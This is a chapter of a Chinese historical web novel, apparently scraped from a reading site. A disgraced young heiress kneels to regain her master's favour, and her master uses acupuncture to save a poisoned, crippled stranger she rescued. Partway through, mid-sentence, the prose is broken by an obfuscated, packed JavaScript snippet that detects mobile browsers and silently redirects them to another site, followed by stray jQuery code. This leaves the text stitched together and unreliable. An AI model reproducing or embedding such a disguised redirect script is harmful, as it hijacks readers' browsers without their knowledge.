荒凉的金缕府打破了多年的冷寂,春夏秋冬面带喜色手脚麻利地忙碌着。
前厅内,倪天娇双眼热切地看着一袭黑衣的师父连尊。
她实在是太意外了,这比外祖柳正权的口信还要惊喜,毕竟师父连尊的回来,就代表着外祖的心软。
倪天娇鼻头一酸,这才是真正的亲人啊。
她“扑通”一声双膝跪地,将一旁的柳伯吓了一跳。
连尊却双手负后,眼角眉梢丝毫未动,就这么静静地看着她。
“师父,天娇知错了,还望师父给天娇一个机会,天娇定不负师父的教诲,勤学善思,重掌大权。”
柳伯眼中的心疼化为了惊讶。
连尊无波的眼神也起了一丝变化,他定定地开口:“你真的想清楚了吗?”
“天娇想清楚了,从前是天娇的执迷不悟。”倪天娇神色无比的认真,那认真之下裹挟着连连尊都辨不清的幽深。
“那你就在此思过,让我看看你是否是真心悔过。”
“好!”倪天娇应得干脆利落,语气中掩盖不住的喜悦,就连跪下的身板都挺得笔直。
连尊不再看向地上的人,抬脚离开了前厅,他怕多待上片刻就会心有不忍,走出几步,察觉身后无人跟上,他转身叫道:“柳伯。”
柳伯这才慢吞吞地跟了上来,嘴唇张了又张终是闭上了。
待走远了,柳伯这才问道:“连尊,你既然已经答应了老爷子要回来护着小姐,如今这般又是何故?”
“太轻易就被原谅的人,不会被珍惜,”连尊淡淡道,“总该要让她付出点代价。”
柳伯叹息道:“你也就是个嘴硬的。”
他摇了摇头,看着纹丝不动的连尊,这人得了老爷的点头,就连夜骑马比他还早到了这金缕府。未见到小姐,又转道跟去了温泉府,比他都心急上几分,他倒要看看,看他能挺到几时,娇小姐可是昨日才落水,身上恐怕还有别的伤,那一身的冲天药味。
一想到此,他就无比庆幸马车上带了一整箱的药材,忙张罗着去卸货了。
......
跪在前厅的倪天娇,心中此刻却充满了热意,身上的疼也感觉不到了,浑身似乎充满了力量。
她看着灰蒙蒙的天空,心却亮了几分。
这一跪就跪到了夜深。
轻缓的脚步声传来,倪天娇抬起红彤彤的脸,满怀期待地开口:“师父——”
连尊心下惊讶,却还是不动声色地开口:“起来吧,日后可要勤学苦练,不得再像从前那般。”
他在金缕府四周查探了一番,还有好多事情要问自己这个徒弟。
倪天娇心中感慨万分,乖巧地应下:“天娇一定好好学,将娘留下的柳家守好!”
她手撑在地上起身,却眼前一黑,整个人栽了下去。
入手的滚烫令连尊骇了一跳,连忙把上她腕间,指下的脉象令他心跳缺了一拍。
这个傻孩子,也不知烧了多久了,就这么一声不吭地跪在这,都不知道服个软,他又如何是那种心狠之人。
但他不知的是,倪天娇不是傻,这也是她对自己的惩罚,如此也能抵消一些她心头的郁结。
......
春夏小心翼翼地将药汁喂到倪天娇的唇间,可是床上的人就是不吞咽,褐色的汁水流了满枕,众人束手无策。
连尊无法,只得吩咐春夏将人抱进那冒着热气的温泉池,希望借着温泉的药力将温度降下来。
秋冬看着闭着眼睛的倪天娇,惊呼一声,这才想起隔壁屋的另一个病人,着急开口道:“连先生,昨夜小姐救下了一名重伤男子,可否麻烦连先生去看上一眼。”
秋冬一想起,今日一天都没丝毫动静的男子,眼里闪过一丝担忧,该不会......
连尊闻言,眼神一凛,示意秋冬带路。
房门一打开,浓重的药味混合着血腥气直冲而来。
连尊眉头皱了起来,紧走了两步,看向床上嘴唇乌紫,一脸惨白的男子,他当即伸出手翻开他的眼皮,将烛台靠近,床上的男子瞳孔毫无波动。
他抽出男子的手把上脉,视线落到那被血渍染红的中衣,想到大雨冲刷了一天都未冲干净的血迹,还有那空气中残留的竹叶青香,眼中的凝重多了几分。
他叫来柳伯,让秋冬出去守着倪天娇,他要为眼前的男子脱衣施针,男子体内的毒已经等不得了,怕是再晚上一刻钟就无力回天了。
......
晨曦微亮,重物落地的声音在前院响起,春夏警惕地盯着通往后院的拱门。
片刻后一个眼熟的黑影跌跌撞撞地走了进来。
是昨夜出去的那个手下,他竟然没被竹叶青香给毒死?
燕兆凌冲春夏点头示意,就要朝侧室走去。
春夏叫住他道:“连先生正在为你家少主医治,你先别进去,别惊扰了先生。”
燕兆凌愣了一下,忙站稳身体,抱拳道:“多谢。”话落便如木头一般,一动不动地守在门外。
......
屋内连尊取下最后一针,叹了口气,这才将倪天娇缠好的绷带从男子腿弯取下,看到那血肉模糊深可见骨的刀伤,柳伯到倒吸了一口冷气。
连尊摇了摇头,自怀里拿出瓷白的药瓶,倒出三粒赤红的药丸递给柳伯:“柳管家,麻烦将药丸碾碎和到金疮药中。”
柳伯点点头,动作极快地照做。
......
“吱嘎”一声,紧闭了一夜的房门在晨光中打开。
燕兆凌忙迎了上来,连尊扫了眼他,沉声开口:“中毒太久,只得将毒逼到了一处,腿伤太重,以后怕是难于行走,我已经用金针吊住了他的一条命,是死是活看他造化了。”
燕兆凌闻言瞳孔颤了颤,暗声道:“多谢先生,还望先生在尧鹤大夫来之前保我家少主一命。”
“你是说神医尧鹤?”连尊惊讶道。
“是。”燕兆凌回道。
“那说不定,你家少主还有看得见的机会。”说完,连尊便不再看他,朝着主屋而去,他还要看看天娇如何了。
燕兆凌忙走进屋内守着自家少主。
昨夜他清理完标记,原路返回之际,却被突来的浓雾迷了眼,鼻尖传来清浅的竹叶香气,他只吸了一口,便失去了意识。
连夜发出的加急密信到现在也没收到回信,不知尧鹤先生何时才能来到,燕兆凌看了看床上呼吸平稳的男子,心下暗道:少主你可一定要挺住。
......
倪天娇醒后得知师父在隔壁救人,这才安心地就着秋冬的手小口小口地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092345|195484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝着米粥。看到师父进门,就摇了摇头不愿再喝,烧了一天一夜,口中甚是苦涩,她喝了两口便没了胃口。
连尊在床榻对面坐下,手指按上她的腕间,缓慢有力的脉象终是让他缓了一口气:“这两日就先静养着,如此不爱惜自己,你的命不比你救下的男子长上多少,这两日没事多泡泡温泉,祛祛身体的寒气,改日给你制点药丸,按时吃着。”
倪天娇毫不在意地点了点头,想到了昨夜救下的男子,问道:“师父,隔壁的男子可还有救?”
“你怎么如此关心那人?”
“天娇头一回救人,自是不愿意人死在自己手上。”
当然了,更重要的是还有一句密令没到手,可不能让他就这么死了。
“暂时死不了,就是活下来也是个废人了。”
“嗯?”
“一个瘸子瞎子,又能做些什么呢?”
“他竟然伤得这么重?”倪天娇惊讶不已。
“嗯,就看他那手下口中的尧鹤神医是否真的存在,如果是真的,那就还有一线生机。”
“你是说传说中那医死人药白骨的尧鹤神医!”倪天娇瞪大了双眼。
但很快她眼中的光芒就淡了下去,如今神医出现了又能如何,娘已经死了,在她最希望神医尧鹤出现救娘一命的时候,她没能找到......
“天娇,你告诉师父,昨夜都发生了什么?尤其是那密林外,虽然不见尸首,只怕是经历了一场不小的恶战。”
“师父,您来的时候没见到那满地的尸首?”倪天娇讶然,竟然有人如此之快就打扫了痕迹,幸好昨晚她燃起了竹叶青,不然怕是早就被人追查到了。
想到这,她眼中闪过一丝后怕,她真是怕极了。但很矛盾她其实并不怕死,只是怕自己死前大仇还未得报,家人还未谅解。她就是要死,也要死在仇人的之后,而不是现在,否则倒不如就直接死在那龙啸潭之下。
“我未曾见到。你应该见到了吧,不然隔壁的男子你是从哪救来的。”
师父的话拉回她的思绪。
果然瞒不过师父,倪天娇只得将昨夜的一切一一道来,只是她确实不知那密林外围的杀戮因何而起,她到的时候已经是血流成河的场面了。
但是她隐瞒下和男子所做的交易,莫名的她就是不想让师父知道自己当下的打算,她怕师父不同意。
连尊语带责怪,他颇不赞同倪天娇的冲动。
实在是她救下男子的举动太过危险,是以此刻的连尊板着脸要她答应此后不再鲁莽行事。
倪天娇知道救下男子肯定会带来麻烦,可是也带来了收益不是吗?
天下,从来就不存在白得的机遇,总是要有一定的取舍不是吗——
连尊看出她不愿过多解释为何要救下男子,也不再刨根问底,有他在自会护着她。
他看着陷入深思的人,又叹了口气,这丫头还是一如既往的将所有事都埋在心底,小小年纪就如此让人看不透心思。
一想到现在那龙潭虎穴般的京城柳家,他心间的心疼不比柳伯少上半分,是以同柳老爷子回江南的路上,他一路都在开解他,只是柳老爷子正在气头上,收效甚微。就连那被柳伯带来的信和画像,一并都被柳老爷子扔出了马车,也不知道柳老夫人有没有将人哄好......